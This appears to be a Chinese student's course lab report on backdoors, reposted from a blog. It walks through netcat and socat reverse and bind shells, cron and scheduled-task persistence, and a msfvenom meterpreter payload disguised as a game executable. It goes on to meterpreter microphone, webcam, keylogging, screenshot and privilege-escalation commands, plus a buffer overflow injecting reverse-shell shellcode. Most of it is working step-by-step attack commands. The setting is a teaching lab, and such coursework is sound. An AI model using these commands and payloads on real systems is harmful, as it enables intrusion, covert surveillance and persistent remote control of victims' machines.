zoukankan      html  css  js  c++  java
  • 2019-2020-2 20175330杨璟旭《网络对抗技术》Exp2 后门原理与实践

    2019-2020-2 20175330杨璟旭《网络对抗技术》Exp2 后门原理与实践

    博客目录

    • (1)基础知识
    • (2)实践目标
    • (2.1)任务一:使用netcat获取主机操作Shell,cron启动
    • (2.2)任务二:
      使用socat获取主机操作Shell, 任务计划启动
    • (2.3)任务三:
      使用MSF meterpreter生成可执行文件,通过socat传送到主机运行并获取主机Shell
    • (2.4)任务四:生成获取目标主机音频、摄像头、击键记录等内容,并进行提权
    • (2.5) 任务五:可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell加分内容一并写入本实验报告。
    • (3)实验中遇到的问题
    • (4)实验收获与感想
    • (5)问题回答

    一 基础知识

    后门概念

    后门程序:
    一般是指那些绕过安全性控制而获取对程序或系统访问权的程序方法。在软件的开发阶段,程序员常常会在软件内创建后门程序以便可以修改程序设计中的缺陷。

    • 后门包括:
    1. 编译器后门;
    2. 操作系统后门;
    3. 应用程序后门;
    4. 潜伏于操作系统中或伪装为特定应用的专用后门程序;

    常用后门工具

    Netcat:是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。

    :socat是一個netcat(nc)的替代產品,可以稱得上nc++。socat的特點就是在兩個流之間建立一個雙向的 通道。socat的地址類型很 多,有ip, tcp, udp, ipv6, pipe,exec,system,open,proxy,openssl,等等。

    Socat简介、安装、使用:https://blog.csdn.net/u010285974/article/details/81209594

    Meterprete:msfvenom生成的后门可执行文件。Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。

    Meterpreter介绍:https://blog.csdn.net/qq_41397071/article/details/104127876

    二 实践目标

    任务一:使用netcat获取主机操作Shell,cron启动

    1.1Windows获得Linux Shell

    Step1:在Windows的cmd中输入ipconfig查看win的IP地址


    Step2:关闭防火墙,进入ncat的文件夹并输入ncat.exe -l -p 5330打开windows 监听

    Step3:Linux中输入nc 192.168.137.1 5330 -e /bin/sh反弹连接windows:

    Step4:之后就会发现Windows成功获得kali的shell,可运行任何指令,如ls,pwd。

    1.2 Linux获得Windows Shell

    Step1:在kali中输入ip addr查看到Linux端的IP地址为192.168.64.133

    Step2:在kali控制台输入nc -l -p 5330在Linux运行监听

    Step3:在Windows中的ncat.exe文件目录下输入ncat.exe -e cmd.exe 192.168.137.1 5330,使Windows反弹连接Linux。

    kali成功获得Windows的命令提示输入dir,ipconfig指令运行结果如图。

    1.3使用netcat获取主机操作Shell启动cron

    Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。

    Step1:在Linux终端里,输入指令crontab -e增加一条定时任务。
    crontab指令表示增加一条定时任务,-e表示编辑
    Step2:在跳出来的选项里选择2进入编辑,
    添加45 * * * * /bin/netcat 192.168.137.1 5330 -e /bin/sh,表示每个小时的第45分钟执行后面的那条指令。

    Step3:保存、退出。
    下图为第45分钟执行代码后的结果:
    linux在45分钟时连接Windows,监听windows获得shell。

    1.4使用nc传输数据,文件

    1.4.1使用nc传输数据

    Step1:cmd中输入ncat.exe -l 5330监听5330端口

    Step2:kali使用nc 192.168.137.1 5330反弹Windows的5330端口,连接建立成功后双方可以互相发送信息。

    1.4.1使用nc传输数据

    Step1:Windows中输入ncat.exe -l 5330> mess.out监听5330端口,并把收到的数据保存到mess.out中


    Step2:kali中输入nc 192.168.137.1 5330 < mess.in反弹连接到Windows的5330端口,建立成功后,Windows可以收到kali发来的文件

    任务二 使用socat获取主机操作Shell, 任务计划启动

    step1:
    下载socat,下载完成后
    我的电脑-->管理-->任务计划程序-->创建任务填写任务名新建一个触发器。

    step2:在程序或脚本中选择socat.exe文件的路径,在添加参数一栏填写tcp-listen:5330 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5330,同时把cmd.exe的stderr重定向到stdout上.

    Step3:到达1:45后任务自动运行,同时会弹出一个cmd窗口。

    step4:输入指令socat tcp:192.168.137.1:5330,可以获Windows的shell

    任务三: 使用MSF meterpreter生成可执行文件,通过socat传送到主机运行并获取主机Shell

    Step1:在Kali上执行指令

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.137.1 LPORT=5330 -f exe > Counter-Strike20175330.exe
    

    Step2:在Windows下执行ncat.exe -l 5330> 20175330_backdoor.exe,使被控主机进入接收文件模式,查看当前的连接状态

    Step3:在kali中使用nc 192.168.13.128 5330 < Counter-Strike20175330.exe传输后门程序

    Step4:MSF打开监听进程:

    • 输入msfconsole指令进入msf控制台

    • 输入use exploit/multi/handler使用监听模块
    1. 设置payloadset windows/meterpreter/reverse_tcp
    2. setLHOST 192.168.137.1,设置IP
    3. set LPORT 5330,设置端口
    4. exploit开始监听

    Kali上获得了Windows主机的shell,测试结果如下图

    任务四:生成获取目标主机音频、摄像头、击键记录等内容,并进行提权

    4.1获取录音权限

    输入record_mic -d 5指令

     

    4.2获取摄像头权限

    输入webcam_snap指令

    4.3获取击键记录

    输入keyscan_start指令记录击键
    输入keyscan_dump指令读取击键记录

     

    4.4获取截屏

    输入screenshot指令截屏

     

    4.5查看用户与提权

    输入getuid指令查看当前用户
    输入getsystem指令进行提权

    任务五:可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

    Step1:在老师提供的Shellcode网站中搜索linux/x86 - Reverse下载反弹连接的shellcode

    Step2:使用

    echo "0" > /proc/sys/kernel/randomize_va_space

    关闭地址随机化

    Step3:将perl生成的字符串存储到文件input_shellcode中

    perl -e 'print "A" x 32;print"x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input_shellcode

    Step4:使用(cat input_shellcode;cat) | ./pwn2注入这段攻击buf

    Step5:打开另一个终端,输入gdb调试pwn2。输入ps -ef | grep pwn2找到pwn1的进程号

    Step6:输入attach调试pwn2进程。
    输入disassemble foo查看ret地址

    栈顶(esp)的存放地址为0xffffd48a。
    计算出shellcode地址是 0xffffd48e。

    修改并生成input文件

    perl -e 'print "A" x 32;print"x8exd4xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50
    x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2f
    x2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input
    • 输入msfconsole打开msf控制台
    • 输入set payloadlinux/x86/shell_reverse_tcp
    • 输入set LHOST 127.0.0.1,设置IP
    • 输入set LPORT 4444,设置端口
    • 输入show options,查看选项
    • 输入exploit,开始监听

    在终端输入

    (cat input_shellcode;cat) | ./pwn2

    运行pwn2文件,在另一个终端看到已经调取了shell

    实验中遇到的问题

    网络不可达问题
    在ping主机时显示网络不可达,通过配置网卡得以解决。

    实验收获与感想

    这次实验总体还算简单,但是在好多实验步骤上卡了好久,在任务一时电脑反应和其他同学的都不一样,cmd没有显示收到。卡了好久,最后发现是正常现象,实际动手做还是有很多发现和进步,总体还是挺好玩的。

    问题回答

    (1)例举你能想到的一个后门进入到你系统中的可能方式?
    从第三方网站安装不被信任软件
    (2)例举你知道的后门如何启动起来(win及linux)的方式?
    添加到开机启动项;比如本实验中的任务二
    (3)Meterpreter有哪些给你映像深刻的功能?获取计算机的音屏和视频,键位输入等等,感觉和木马非常相似。
    (4)如何发现自己有系统有没有被安装后门?
    与查杀木马同理
    1.使用杀毒软件
    2.其次查看自己计算机是否有可疑端口开放
    3.查看是否有可疑进程

  • 相关阅读:
    c--日期和时间函数
    笔试题:360找镇长的题。
    【JavaScript】BOM和DOM
    也谈在 .NET 平台上使用 Scala 语言(续)
    生成n个元素的全排列 C实现
    jsp安全性问题
    stm32DMA通道 ADC通道
    POJ 1860
    Codeforces Round #FF (Div. 2) A. DZY Loves Hash
    Configure the modules to be find by modprobe
  • 原文地址:https://www.cnblogs.com/waaaaa/p/12547883.html
Copyright © 2011-2022 走看看